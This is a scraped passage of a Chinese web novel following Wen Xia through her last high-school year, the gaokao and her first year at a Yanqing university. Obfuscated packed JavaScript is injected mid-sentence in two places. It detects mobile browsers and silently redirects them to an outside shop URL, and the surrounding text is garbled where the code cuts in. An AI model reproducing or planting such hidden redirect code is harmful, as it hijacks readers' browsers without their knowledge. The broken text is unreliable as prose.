大概二十分钟后,卢杭回到教室,黄筝和齐子尧站在他身边,举起手来的纸袋:“班长请大家吃小蛋糕!” 教室里爆发一阵欢呼:“我杭哥此刻是比詹姆斯还帅的男人!蛋糕店小王子!” 卢杭家在树阳开了两家蛋糕店,这不是什么秘密。 黄筝刻意给温夏留了草莓蛋糕。 拿到蛋糕那一刻,温夏忽然想起。 今天,好像是夏至。 是她生日。 卢杭分发完蛋糕,回到座位,温夏对他说了句:“谢谢。” 卢杭朝她看过来,笑了:“不白吃啊。这是店里的新品,吃完给我点意见。” - 时间悄无声息地走到了期末。 七月中旬,温夏坐在第一考场吹着吱吱呀呀的风扇考完了最后一科。 走出考场时,她眼前跑过一个男生,空气里漂浮着淡香,是景栩陪林婆婆住时用的那款洗衣液的味道。 景栩…… 想起这个名字,温夏唇线抿直。 他一直没通过她的好友申请。她找了很多理由——可能那天他飞机上,没法儿看手机,后面就忘了;可能一直在忙,所以还没看过手机;可能是手机被偷了,还没看到消息…… 只是,一整个假期过去了,她每次看手机还是只收获到失望。 22. 22 高三开学前几天,温夏找老严要了一张住宿申请表。 过了两天,老严给她发了申请表的电子档,她去了街对面打印店,把申请表打印出来。 学校给住校生安排了晚自习,她不想落后于别人。 如果不住校,她的时间肯定会因为各种各样的琐事被分散。最后一年了,她不想关键时刻掉链子。 申请住校需要家长签字。 吃完晚饭,温夏把申请表拿出来:“大伯,我高三申请住校,麻烦您帮忙签个字。” 温诚签完后,赵雁蓉阴阳怪气了一通,但到底也没动手撕了申请表:“住校也好,省得我天天被人家戳脊梁骨。 “我就说不能给人家养孩子吧,到头来一点好没捞着,还要被外人说三道四。我想想都委屈。” 这段时间,温夏也听到一些话。说赵雁蓉苛待侄女,小侄女马上高三了,总指使人做这做那。 她敛眸收起申请表,没管赵雁蓉:“谢谢大伯。” 回到房间,温夏收拾了一些日常生活的必需品放在拉链坏掉的行李箱里,收拾结束的那一刻,她重重地叹了口气。 凌晨两点,温夏听见敲门声。 她起身开门,看到站在门口的温诚:“大伯,您有什么事吗?” 温诚在门口站定,没有要进去的趋势。他拿出一小沓现金:“你大伯母睡下了,这四百块钱你拿着,第一个月的生活费。你大伯母要是问起来,就往少了说,知不知道?” 温夏接过钱道了谢,温诚看她的模样,走之前拍了拍她的肩:“孩子,大伯知道你不会留在树阳……就剩一年了,熬过去就好了。” 温夏心里有些难受,大伯平时虽然窝囊老实,但对她真的已经尽到了该有的义务,也从来没想过要绑住她。 她捏着那些钱,牙齿咬住一小坨唇肉,直到痛感袭来才松开:“我知道了大伯,您早点休息。” - 高三提前返校一周,住校生在开学前一天就得到学校。 返校当天,温夏直接拎着行李箱去了学校。耳边充斥着行李箱滑轮与地面摩擦的声音。在这一众摩擦声里,温夏听见从身后传来一声明快的:“夏夏!” 温夏转身笑着回应:“风筝。” 黄筝的上铺文理分科时选了文科,那个位置就一直空着,温夏被安排在了那儿。 这事儿昨天晚上温夏就通过Q/Q跟她说过了。 两个姑娘往宿舍走:“真好,我以后问你英语题就方便多啦!” “我以后问你数学题也方便多啦。” “以后咱俩干什么都能在一起了。”黄筝说完傻笑两声。 寝室在女生三栋,二楼205。 这是一间八人寝,温夏和黄筝到的时候,其他六个人已经在了。温夏和她们同学两年,虽然不太熟,但也能叫得上名字。 相互打过招呼后,温夏开始换床单被罩、整理行李。 明天才正式上课,在宿舍收拾完,大家拉着温夏去了学校超市,黄筝说:“买点东西庆祝一下。” 温夏一脸茫然:“要庆祝什么?” “庆祝温夏同学成为205小屋的一员啊。” 其他人纷纷附和:“欢迎新家庭成员入住!” 温夏一时没反应过来。 她实在没想到,住宿这件事,也值得被庆祝。 一进超市黄筝就开始扫荡,没多久小推车就满了。 晚上八个姑娘把地拖干净,把自己的床上小桌拼在一起,白天买的零食摆在上面,盘腿围坐在地上,举着AD钙奶:“希望接下来的一年,我们且行且珍惜。” 黄筝突然伤感:“我明明记得我才高一,怎么转眼就高三了,都成老学姐了。” 睡在黄筝对铺的付玉戳了戳黄筝的脑袋:“大家正高兴呢,你在这装什么深沉?” 黄筝抱着付玉的手撒娇:“人家就是感叹一下嘛。” 时间在打打闹闹中过去。 八月底,树阳正值盛夏,空气又黏又闷。 宿舍没有空调和风扇,楼下是一片小花园,小花园里长满了野草,蚊子很多。所以哪怕热的睡衣都湿了,她们也没敢打开阳台上的门。 直到熄灯,才敢稍微开一掌宽的缝,晚间的凉风灌进来一些,堪堪缓解了闷热。 翌日。 到了新环境的温夏,生物钟好像乱了,她比平时早半小时醒来。 校园里还一片静谧,天也还没亮。 清晨的风从缝隙里灌进来,带着凉意,空气中似乎带着朝露的味道。 和她一起醒来的还有付玉。 付玉看她,小声问:“你平时也是这个点起来吗?” 温夏点头:“差不多。” “以后早起听听力有伴了。”付玉没洗漱,拿了MP3和听力册指了指门口,“要不要一起去楼道听?” 温夏比了个“OK”的手势。 她们回来时六点二十。因为是夏季,白昼早早开始,天光倾泻,校园已经有了苏醒的迹象。 宿舍其他人也已经起来洗漱完毕,每个人手里都拿着本书,小声地背着知识点。 看到她俩回来,黄筝问了句:“你俩什么时候起来的。” “五点半好像。”温夏说。 “……” 黄筝闭了闭眼:“得,以后咱寝室又多一个卷王。” 温夏的“卷王”生活就这么持续到了期末。 天气越来越冷,寝室有人在的时候,阳台上的门很少开着。 时间越过越快,付玉和温夏早起的时间不知道什么时候开始提前到五点;大家一起熬夜刷题的时间也越来越晚。 温夏的成绩进入了瓶颈期,自从完成了一次突破后,好像怎么都没法儿提高了。 这段时间她一直在记录,只是从记录“温夏和景栩”变成了记录“温夏和堰青”。 她高二升高三那个暑假,查了堰青高校的录取分数线,每次翻开笔记本,都会告诉自己:“还有很长的路要走,不能停下来。” 期末考试的考场还是按最后一次月考的成绩排。 黄筝十二月月考年纪第六,坐在温夏身后。 上午考三科,每考完一科有二十分钟的休息时间。 考完第二科,黄筝从桌肚里掏出热水袋:“夏夏,要不要去接热水。” 温夏点头,拿起课桌右上角的玻璃杯:“走吧。” 一走出教室,两个姑娘就被冷风吹得牙齿打颤,黄筝欲哭无泪:“今天好像比往年都要冷,不是全球变暖吗,现在这样算怎么回事儿。” 温夏笑笑,今年冬天,好像是更冷些。 黄筝“哎”了声:“今年不会下雪吧!”她的声音明显雀跃了几分,“活了十七年了,我也没在树阳见过雪。” 温夏抬头看了看灰蒙蒙的天,没扫兴:“应该会下吧,而且按照这个降温趋势,应该还会下得很大。” 她们的希望没有成真,一整个冬天过去,直到阳春暖阳如约而至,树阳连盐粒大小的雪都没落。 高三下半年,教室里多了高考倒计时的计时牌,日子越数越少,几乎没有假期,恨不得每一秒钟都泡在题海里。 随着压力越来越大,大家休息的时间被大幅压缩。 温夏发现,最近自己也开始掉头发了。 夏初,树阳的昼夜温差大,用黄筝的话说,这破天气冰火两重天。 黑板上方显示“高考倒计时:010天”的时候,温夏听到了一个被刻意遗忘和掩藏的名字。 老严端着保温杯走进教室:“今天就不上课了,我请景栩帮忙录了一些堰青高校的视频,这节课你们看看。” 听完,温夏脑子里绷紧的那根线好像被弹了一下,抬头看向黑板,老严正背对着他们插U盘。 视频差不多半小时,景栩拍了不少学校。 老严把视频给他们放着就到走廊和教导主任聊起天。 从他们的聊天里,温夏知道,景栩已经保送了堰青大学,但保送的项目不是他喜欢的专业,所以他拒绝了,还是决定参加高考。 他们还说,树阳有十来年没出过名校学生了,要是景栩在,还能打破这个“传统”。 他们没聊多久,教导主任就夹着皮包离开。 温夏把注意力放回视频上,最后一分钟,视频里出现景栩的脸。 他和记忆力一样阳光帅气,蓬勃向上,清润的嗓音在教室里响起:“我亲爱的朋友们,高考加油啊!” 他说完这句话,屏幕便黑了下去。 视频到此结束。 温夏咬着唇。 握着笔的手微微用力,指尖泛白。 他在一些平常的日子里,猝不及防地出现在她的世界,又猝不及防地消失。 每次出现或者消失,都只留下她一个人,呆愣地在原地,喉咙酸涩。 她手一直在动,等她回过神来,才发现稿纸上多了一句: 【我们没有昨天,你比远方更远。】 这天凌晨,温夏被渴醒。 她轻手轻脚下床接了杯水,喝完却没了睡意。 她干脆走到阳台吹吹风。 黄筝不知道什么时候醒了,她走到温夏身边,小声问:“怎么还不睡觉?” 温夏也压低声音:“睡不着,我是不是吵到你了?” “没有。”黄筝打了个哈欠,“下午食堂的菜太咸了,口渴才醒的。” 她手里拿了一盒薄荷糖,把它给温夏,想到温夏吃的薄荷糖一直是利口乐的冰川薄荷,开口道:“学校超市没有利口乐了,别的牌子和口味能将就吗。” “谢谢。” 黄筝不喜欢薄荷糖的味道,总觉得又冲又凉:“这个有这么好吃吗?” “还好。”温夏选了个保险的回答。 之前,她也喜欢吃那种只有甜味的糖果,也非常不喜欢薄荷糖。 但景栩好像很喜欢。 每次遇到,他好像都能随手掏出一盒来。 而且他似乎对利口乐的冰川薄荷情有独钟,每次给她的都是这个口味。 渐渐地,她也觉得,薄荷糖的味道,好像还不错,时间久了,也就慢慢习惯了。 黄筝陪她在阳台站了会儿:“夏夏,你今天,是不是不太开心。” 疑问的句子,黄筝却用肯定句的语气说出来。 温夏没再瞒她:“有一点吧。” “我也有点难过。”黄筝叹了口气,趴在栏杆上。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13097712|137072||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怎么了。” “我总觉得,我们普通人,拼尽全力追逐的东西,最后也不知道会不会有一个好的结果。”黄筝难得正经,“我害怕高考失败,也害怕由此可能导致的一系列不良效应。” “我想学文科,家里人说学文科没前途,所以我留在了咱们班;我想学传媒,家里人说没钱支持我,女孩子念师范,比学传媒有保障。我不想听他们的,可是我不得不听。 “我没钱没背景,试错成本太高了。有时候,我还蛮羡慕景栩的。” 温夏想学着景栩的模样对她说“别认命”。在脑子里也想好了安慰她的鸡汤——我们努力的意义从来都不是要争取一个好结果,而是为了不留遗憾。 最后还是作罢。 这些话太空了。 放在普通人身上更是苍白无力。 - 拍毕业照那天,阳光明媚,铺洒万里。 学生拍完班级大合照后,和好朋友在校园里四处合影留念,校园变得更加熙攘。 黄筝和温夏拍遍了学校,黄筝一直都笑得很开心。因为温夏拍照只会剪刀手,所以从一开始拍黄筝对她的嫌弃就没停过。 好像一切没什么不同。 她们也只是平常地拍一些照片而已。 拍到最后,黄筝还是没忍住哭了。 她把头埋在温夏肩膀上,泪水将薄薄的衣衫打湿:“我以为我可以忍住的。” 温夏被她弄得也有点难过,拍着她的脑袋安慰:“我们还是能常联系的。” 黄筝哽咽着:“你不能忘了我。” “你也是。” “拉勾。” “黄筝,你幼不幼稚?” “那你拉不拉?” 温夏没说话,笑着伸出手,同她拉勾。 - 考试前,平日里不苟言笑的老师也露出了感性的一面。 除了老严。 他仍板着脸,一遍一遍强调考场上的注意事项;强调要记得把证件和文具带齐;强调这几天尽量吃些清淡的,少吃重油重辣的食物…… 不厌其烦。 最后一天,老严依旧板着脸念了一遍他们早已倒背如流的注意事项。 只是这次和以往不同——念到最后,老严竟然哽咽了。 他很快调整好情绪,眼睛扫过每一张青春洋溢的脸,“我们最后再进行一次班级点名。” 初入学校时,老严点名需要借助班级点名册。 这一次,他却看着他们的脸,叫出了他们的名字。 每个人都无比认真地答了“到”。 整个点名过程,充斥着低低的啜泣声。 老严点名越来越慢。只是,一个班也就几十个人,再慢也总有结束的时候。 他深吸了口气:“好了,我再啰嗦最后一句。” 好几秒过去,老严才出声:“祝你们,前程似锦。” - 高考考两天。 从一声响铃开始,也从一声响铃结束。 温夏考完最后一科,放下笔的那一瞬间,撇头看了一眼窗外。窗外立着的那棵梧桐枝繁叶茂,下午的阳光透过叶隙艰难地挤下来,形成点点光斑,落在地上。 空气黏糊糊的,刘海被汗打湿。 监考老师将试卷收走时,她呼出一口气。 一切。 暂时告一段落了。 考完第二天,所有学生回学校参加了一场草率的毕业典礼,一上午就结束了。 大家似乎都急匆匆的,带着家长到自己的宿舍收拾好一切,毫无留恋地走了。 甚至好多人连正式的道别都没有。 黄筝的父母在她参加毕业典礼时,就去宿舍把她的行李都打包好了。毕业典礼一结束,她直接从会场离开,温夏没来得及和她再说上一句话。 大多数学生都有家长来接,温夏经过他们的时候,还能听到他们讨论要怎么安排这个悠长的假期。 温夏没人来接。 她一个人,迎来了这段兵荒马乱又惶急仓促的青春的结尾。 她独自拖着行李离开,离身后热闹的人群越来越远。 回到余庆巷,走到巷口时,她看到落日余晖不偏不倚正好照在眼前的青石板路上。 金光灿灿,看起来十分温暖柔和。 耳机里播放着淅淅沥沥的雨声。 温夏恍了恍神,在巷口站了许久。 和景栩相处的点点滴滴一帧一帧在脑海里回放,她甚至连那些时刻的天气是晴是阴都记得清清楚楚。 最后一帧画面,是雨夜里急驰而过的那辆“别蒙我”。 温夏觉得,自己像是做了一场漫长而悠远的梦。 他好像只存在于她的梦里,从来没在她梦之外的地方出现过。 梦醒了,一丝痕迹都没留下来。 她和他,甚至连张合照都没有。 一股强烈的预感紧紧缠绕住心脏。 ——她和景栩,不会再遇见了。 这天晚上,温夏睡前折了一颗星星。 折之前,少女娟秀的字迹被眼泪洇开——景栩,天高地阔,后会无期。 我们没有昨天,他比远方更远。 源网络,侵删。 23. 23 因为家里的电脑不是给温夏用的,高考放榜当天,她去了楼上程聿家。 程聿早就查过了,电脑一直没关,等着她过来。 温夏打开网页,输入了学号和密码后,就迟迟没了动作。 黄筝担心的,她也同样担心。她也害怕一直为之努力的东西,最后像泡影一样散开。 她就这样在电脑前呆呆地坐了半个小时。 在她做好心理准备的时候,电话响了。她被吓一跳,那点儿心理准备被吓得缩了回去。 是黄筝打来的:“夏夏,你查成绩了吗?” “还没有。”温夏声音带着不易察觉的颤抖,“我不太敢。你呢,查了吗?” “查了,580分,还不错。” “真好。” “你快查。” 温夏做了几次深呼吸,颤抖着移动鼠标,轻点两下,进入了查询界面。 黄筝迟迟没听到动静:“夏夏?” 温夏回过神:“……642。” 两秒后,温夏听见黄筝尖叫一声:“那你是不是可以报青外了?” 温夏心底也后知后觉地漫上欣喜:“……嗯。” 黄筝听起来很高兴:“那你今年冬天可以看到雪了?” 温夏唇边牵起一抹笑意:“应该吧。” 两人又聊了一会儿才挂电话。 温夏如愿被堰青外国语大学英语系录取;黄筝在家人和老师的建议下,报了一所师范院校;格格和程聿考在了南方城市,在同一所财经大学……最让人意外的是齐子尧,听说他高考失利,打算复读。 开学前,温夏和格格、程聿聚了一次。 格格说,本来以为她从北方考回了南方,以后他们三个能经常在一起,没想到温夏跑去了北方。 这段时间,格格和温夏一起住。 温夏出发去堰青的前一天夜里,两个姑娘挤在温夏的小床上,脑袋贴在一起,一起盯着天花板发呆。 谁都没有说话。 就在温夏以为格格睡着了的时候,忽然听到她问:“你去堰青,是因为那个人吗?” 温夏没回答,但格格知道自己猜对了。 格格又问:“那个人,是景栩吗?” “……嗯。” 格格急得“蹭”一下坐起来:“那你报青外也是因为他?” “不是。”温夏想了一下,郑重地回答了格格的问题,“我之前只是想逃离这里,越远越好。但其实,我一直都没有目标,也不知道自己可以逃去哪里。” “说我填报的志愿和他完全没关系肯定是谎话,但是我选的专业,只是基于我自己的情况。” “大家都说堰青很好,反正我除了树阳哪里都没去过,那去亲眼看看大家都觉得好的地方,又有什么关系。” 格格听她说完,又躺了回去:“那就好。” 良久,格格的声音又在耳边响起:“夏夏,无论什么时候,请你一定要把自己排在所有人、所有事前面,知不知道?” 温夏逗她:“那你呢。” “我得排在除了你自己之外的所有人前面。” 又过了很久,温夏已经快睡着了。 格格又说:“如果你真的真的很喜欢景栩,那我排在景栩后面也可以。但是,他必须排在你的后面。” “知道了。”温夏鼻尖酸酸,“睡吧。” - 温夏开学早,她出发去学校那天,格格和程聿一起送她去车站。 去车站的路上格格一言不发,温夏知道她舍不得自己,一直抱着她:“咱以后还有的是机会见面呢,不能每次分别都不说话吧。” 格格明白每个人都有自己的路要走,温夏也该去更远的地方看看。可这个当下,她还是没忍住埋怨温夏:“你一个人跑那么远干什么啊,你要出点什么事儿我们怎么照顾你?要是被谁欺负了,我们收到消息过去,恐怕黄花菜凉了。 “闷声干大事儿啊你,你是不是还觉得自己特厉害?” 温夏从口袋里拿出一颗棒棒糖,撕开糖衣递到格格嘴边:“我不厉害吗?” “……” 程聿拆了包纸巾递给格格:“哭得难看死了,憋回去。” 格格瞪了他一眼,趁他没防备,一把抓起他的手,一口咬了下去。 她也没真咬,柔软的唇瓣只在他小臂上停留两秒。 他忽地笑出声:“你拿我撒什么气。” 格格上下打量他一眼:“我不跟狗说话。” 程聿:“……” - 温夏从来没出过远门,没想到第一次出远门,是独自一人。 树阳没有机场,她得转两次车去隔壁城市的机场。 她站在偌大的机场,显得很怯。 这几天她每天都在网上查—— 第一次坐飞机应该注意什么? 耳机能带上飞机吗? 坐飞机会晕吗?想吐怎么办? 坐飞机的详细流程…… 她按着搜索结果的流程,去取了票。 然后,她看到一个身高只到她腰处的小男孩习以为常地做着这一切后,用英文熟练地和站在他身边的外国男人聊起来。 她眨了眨眼,认真听着。 并不是很难的对话,她能听懂。但如果要她像小男孩儿一样自信地找别人搭讪,她一句完整的话都说不出来。 温夏顺利坐上飞机那刻,心跳渐渐趋于平缓。 两个半小时后,温夏从堰青机场的航站楼出来。 她站在太阳底下,仰头,用被太阳光晃得眯了眯眼。 往前走个几百米,温夏看到了迎新校车。 停了好几辆,校车旁有人举着牌子。温夏一一看过去,看到了不同学校的名字。 她找到了写着“堰青外国语大学”的牌子。 她拖着行李箱走过去,离那个地方还有三米的距离,一个穿着红色志愿服的银发男生走过来,十分热情:“同学,是青外的新生吗?” “是的。” 男生很自来熟,没走两步就跟她闲聊起来:“学妹哪个系的?” “英语。” “好巧,我也是。对了,我叫陈朝,耳东陈,朝阳的朝。” 在温夏自我介绍的间隙,他很自然地拿过她的行李箱,很轻,轻得他怔了一下。 这一上午他帮忙拎过不少行李箱,那些箱子都很重,像是把自己在家里的房间搬过来了,似是再小的东西都不舍得扔下。 走了几步,温夏看到前面一个男生的背影,愣了神。 很像景栩。 几秒后男生转过身和他身后的人说话,温夏看到了他的正脸。 是一张很陌生的脸。 不是景栩。 陈朝说了句什么,温夏因为愣了神没听清,迟钝地看向他:“什么?” 陈朝也没介意她的走神,笑着重复了一遍:“学妹是南方人吧?听口音,树阳的?” 温夏点头。 “我老家也是树阳的,但是我高二转学到堰青,已经快五年没回去了,也不知道树阳现在什么样了。” 温夏想起周边新建的街区和楼盘:“变化挺大的。” 闲聊间,他们走到青外的校车旁。陈朝帮她把行李放进行李舱,两人道了别。 温夏等了差不多半小时,校车装满人,才悠悠出发。 温夏戴上耳机,听着雨声看着窗外倒退的风景。 窗外的景越来越繁华,高楼鳞次栉比,阳光照在造型独特的建筑上,被玻璃折射,好像整个世界都闪着光。 这就是景栩从小生活的世界。 一个和树阳完全相反的世界。 这里明亮,繁华,金光闪闪。 校车停在学校南门,许多个红马甲等在路边,温夏被一位酒红发色的学姐领着办完了一系列手续,傍晚时才找到宿舍楼。 寝室是四人间,上床下桌。 温夏是最后一个到的,床位在一进门靠右手的位置。 她行李少,没费多少时间就整理结束。 一个烫了羊毛卷的姑娘走到温夏跟前,带着一股浓浓的堰青腔开始自我介绍:“我叫陈湘,住你对床,堰青本地的,以后有空可以去我家 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又走了几步,卢杭和她闲聊起来:“在哪个学校?” “青外。” “恭喜。” 高三一模考试结束,老严就让他们写下来理想的大学,贴在教室里的“梦想角”,当时温夏写的就是“堰青外国语大学”。 当时写完,还是他帮她拿过去贴的。 “你呢?”温夏问。 “青大。” “挺好的,也恭喜你。” 走到青外南门,卢杭问:“你注册微信了吗?” “注册了。” “加个好友吧。放假没准儿还能约着一起回树阳。” “好。” 回到宿舍,温夏立刻察觉到孙洁妮想要八卦的目光。 但可能是因为还不熟,她欲言又止了好半天。只是最后还是没忍住:“夏夏,刚才那帅哥,真的只是高中同学啊?” 温夏点头,回想起来,她和卢杭说话的次数都屈指可数:“嗯,没什么交集。” 孙洁妮没再问,温夏换了衣服,去洗手间冲了个澡。 温夏洗完澡,吹干头发准备上床,下一秒听见孙洁妮说:“我们拉个群吧,有什么事儿在群里说也方便。” 温夏拿出手机,看到她手机时,孙洁妮惊讶了一下:“这个型号好老了吧?” 温夏高中三年用的都是老人机,现在这款还是她收到录取通知那天,温悦用腻了淘汰掉的。 温夏敛眸,坦然一笑:“是很老了,但是还能用。” “我奶奶都不用这款了。” “……” 气氛沉寂下来,没人再说话,拉完群后就各自回了床位。 温夏没把孙洁妮的话没放在心上。 她躺在床上,望着天花板,思绪翻涌。 她尽管不张扬自信,但也算个内心充盈者。她和大多数少女一样,相信“努力就有回报”的鸡汤,也坚信一切想要的都能靠自己挣来。 她很少羡慕别人,在许多时候也谈得上落落大方。 只是在景栩面前,她像是完全变了一个人——变得草木皆兵,一举一动都要仔细斟酌,深怕一不小心露了怯,连说句话都要酝酿许久……自卑敏感又胆小怯懦。 可也因为他,她从树阳那个小县城,孤身一人,一步一步走到了堰青。 温夏苦涩地抿了抿唇角。 喜欢真是个奇怪的东西。 让人勇敢也让人怯懦,明明知道是飞蛾扑火,会被灼痛,甚至被焚烧至死,也要赌上一切。 从不给自己留退路。 她微叹了口气,拿出手机,登录了Q/Q。点进高中班级群,找到景栩,又看了一遍他的头像和个性签名——好像从高三下半学期开始,这成为了她睡前必做的事。 整个假期,她发送过很多次好友申请,可每一次都石沉大海。 24. 24 青外军训半个月,太阳实在毒辣,军训的第二天,温夏就在孙洁妮的建议下买了一款平价防晒。 军训期间,不少社团招新,三个室友早早选好了想要加入的社团,温夏迟迟没决定好。 军训最后一天,解散后,温夏走到学校的公共外交研究中心会议厅前,听见有人问:“同学,招新最后一天,律动社有没有兴趣了解一下?” “律动社?是干嘛的?” “架子鼓。” 架子鼓…… 温夏忽然想起,高中时文艺汇演,班上的同学说景栩会架子鼓弹钢琴。 她见过他弹钢琴的样子,打鼓的样子,她还没见过。 温夏止住了脚步,偏头往声源处看去,和手里拿着宣传单的陈朝四目相对。 她走过去:“可以给我一张报名表吗?” “当然。”陈朝说着,递了一张报名表给她,“看不出来,你文文静静的,居然会喜欢架子鼓。” 温夏拿起笔,闻言再度看向陈朝:“……我一窍不通,可以报名吗?” 陈朝没想到是这个答案,噎了一瞬,为了掩饰尴尬干咳两声:“可以的。” 填完报名表后,陈朝把她拉进了社团的群聊。 吃完晚饭,温夏看到群里的公告——社团成员晚上八点在食堂五楼的社团基地团建。 温夏吃完饭就直接过去,看了看时间,七点半不到。 最中间摆着架子鼓,陈朝坐在鼓前,随意敲了几下。 这会儿来的人不多,温夏找了个最不起眼的角落坐下,低头看着手机。 不知道过去多久,一道清丽的女声问:“同学,这个位置有人吗?” “没有。” 温夏抬眼,看到说话的女生。女生及腰的长发烫成大卷,妆容精致,眼尾微微上挑,美的很有冲击力。只是笑起来时,颊边有一个浅浅的梨涡。 女生很健谈:“你也是新生吗?” “嗯。” “我也是,我法语系的,你呢?” “英语系。” “外院的同学啊,好巧!我叫春晓,春和景明的的春,春眠不觉晓的晓。你叫什么?” 温夏还没来得及礼尚往来,春晓已经被朋友喊到另一个座位了。 温夏的目光不受控制地看向她。 脑海里一直回放着那段自我介绍。 春和景明…… 听到这久违的四个字,温夏心跳漏掉半拍。 - 温夏的大学生活并不丰富,和高中生活相差不大。 临近十一月的某个清晨,温夏从宿舍去语音教室的路上,看到了第一片落叶。 风一吹,树叶在她眼前打了个旋儿,翩然掉在她脚边。 气温似乎也随着这片落叶骤降。 堰青的冬天,来得竟然这么早。 十一月底,堰青下了一场雪。 温夏练完鼓,从社团基地出来,看到雪洋洋洒洒地飘下来。一晚上过去,地面上的雪积了快半支笔的厚度。 温夏很少参加社团活动。每天食堂、教学楼、图书馆、宿舍四点一线。 相对轻松一点的日子,是周末。周末上午,她会步行去青大,在青大待到下午,然后步行回青外练架子鼓。 她一直有种侥幸——万一景栩在青大呢?万一就在某一天,他们在青大的某条路或者某栋教学楼前,就猝不及防地遇见了呢? 而且,他那样的人,即使是在青大这样的学府,也不可能籍籍无名。 如果在青大听到别人说他的名字,她会大胆地向那些人打听他的院系和专业,然后选一个阳光明媚的日子,和他“偶遇”。 可一整个学期过去,她都会用架子鼓演奏简单的曲目了,还是没见到景栩。 甚至,连他的名字都没听过。 - 和卢杭加上微信好友后,两人一次消息都没发过。 直到考试周。 考试周的最后一天,温夏收到卢杭消息,问她什么时候考完,要不要一起回树阳。 温夏:【今天上午就考完了。】 温夏:【我申请了留校。】 卢杭很快回复:【嗯。】 寥寥几句后,聊天就结束。 一放假校园里就冷清下来,寝室里就只剩温夏。 和黄筝约定好常联系,可只有高考后的那个暑假联系频繁。 上了大学后,也不知道是各自都有事,还是彼此默契地彼此疏远……总之,两人就这么在对方的好友列表里落了灰。 温夏时常能看到黄筝发的朋友圈,偶尔会抱怨自己选了不喜欢的专业,每天都觉得很累。大多数时候,黄筝会发自拍和一些旅途中拍的风景照。 她似乎频繁出现在温夏的生活里。 两人却再也没联系过。 温夏每隔几天都会和格格通电话,加上她在放假前去找了份家教的兼职,日子算得上充实。 不知不觉间。 她在堰青度过了一个完整的冬天。 一个。 景栩口中的,漫长又肃冷的冬天。 - 堰青的冬天真的很长,从前一年的十一月底一直持续到次年的四月中下旬。 这期间温夏又学会了几首新的曲子,每周末仍雷打不动地去青大,只是仍然没有景栩的消息。 温夏已经记不清,上一次听到“景栩”两个字是什么时候了。 上一次听见景栩的声音,还是高三那年,老严在班里放的那段视频。 温夏时常会想起视频结尾他说的那句“高考加油”。 好像就发生在昨天,可明明已经过去了很久。 - 本学期过半时,堰青也正式迎来盛夏。 堰青的夏天比起树阳,炎热程度有过之无不及。 整座城市像是被罩在一个巨大的罩子下,密不透风,闷热散不去分毫,好像一不小心就会被晒成葡萄干。就连傍晚吹过来的风都带着热意。 一个寻常的周六,温夏一大早被陈湘从被子里拽起来:“夏夏,今天咱不去图书馆了。” 温夏还没完全清醒,嗓音低哝:“那去哪?” “去体育馆,今天咱外院的和青大的篮球赛,青大的篮球队出了名的帅哥多,今天姐姐带你去养养眼。”陈湘说。 温夏打了个哈欠:“好。” 陈湘流氓似的在温夏胸口摸了一把:“我看你手机屏保是KevinDurant,就知道你喜欢篮球。” 温夏大脑懵了一瞬,随即“景栩”这个名字猝不及防地冲入心脏。 她抿了抿唇,心跳做贼心虚似的乱了节奏,小声道:“因为朋友喜欢。” 寝室太安静,陈湘听清了她的话,而后露出一个意味深长的笑:“男朋友吧?” 温夏有一瞬的失神:“不是。” 想起那么多石沉大海的好友验证消息,温夏眼底蔓延出难以形容的情绪。 或许,于他而言,她甚至连普通朋友都算不上。 温夏简单洗漱结束,看到陈湘才开始上粉底,于是安心地戴上耳机,打算听一篇Dictation。 一篇文章完整听完四遍,陈湘那边也正好涂完口红。 两个人一起出了门,温夏在体育馆门口遇到了卢杭。 他身边还站了几个人,穿着统一的红色队服,队服上印有青大的校名和他们自己的名字。 在阳光下显得十分张扬耀眼。 一行人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13149217|137072||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一起往场馆里走,卢杭问:“温夏,你也来看比赛啊?” “嗯。”温夏一如既往的温暾,“和室友一起来的。” 陈湘挽着温夏,跟卢杭打招呼:“嗨!帅哥。” 卢杭的队友也十分热情地跟两个姑娘打招呼。 闲聊间他们就走到内场,温夏和陈湘去了观众席,卢杭和队友则往和她们完全相反的方向走。 十分钟后,比赛正式开始。 温夏和陈湘性子不同,陈湘一直在大声加油,温夏一直安安静静地坐着。 卢杭每一次进球,无论他面向哪一个方位,都会第一时间看向温夏。 但只是不留痕迹的一眼,像是在做伸展或庆祝动作时视线不小心划过那处。 半场休息时,卢杭跑到温夏跟前,等气儿喘匀了,才问:“结束一起吃个饭?” 温夏还没说话,陈湘先答应了:“好啊。” 卢杭冲陈湘笑笑,又看向温夏,眼神温柔,仍带着询问的意味。 温夏敛眸:“好。” 卢杭笑意漫上眼底:“你们趁着这会儿先挑地方。” 说完他就跑回了队伍。 聚餐还是选在云九香,定在晚上七点。 卢杭的队友们都在,期间他们边吃边复盘篮球赛,气氛十分热烈。 温夏听不大懂,但也认真听着。 一群人边聊边吃,这顿饭居然持续了将近三个小时。 结束后所有人都默契地给卢杭和温夏创造独处机会,就连和温夏同路的陈湘都不知道跑去了哪里。 卢杭本来想把温夏送到宿舍楼下,但总觉得这是件不用刻意说明就暧昧至极的事。 纠结许久,卢杭还是决定只送她到青外的南门。 卢杭性格开朗,很会接梗也很会开启话题,但到了温夏面前,他总觉得自己像被喂了哑药,半天憋不出一个字。 或许是因为在喜欢的人面前,再优秀的人也总自惭形秽。 又或许是因为他清楚,能和她多说几句的话题只有“景栩”,他不愿意在她面前多提及这个名字。 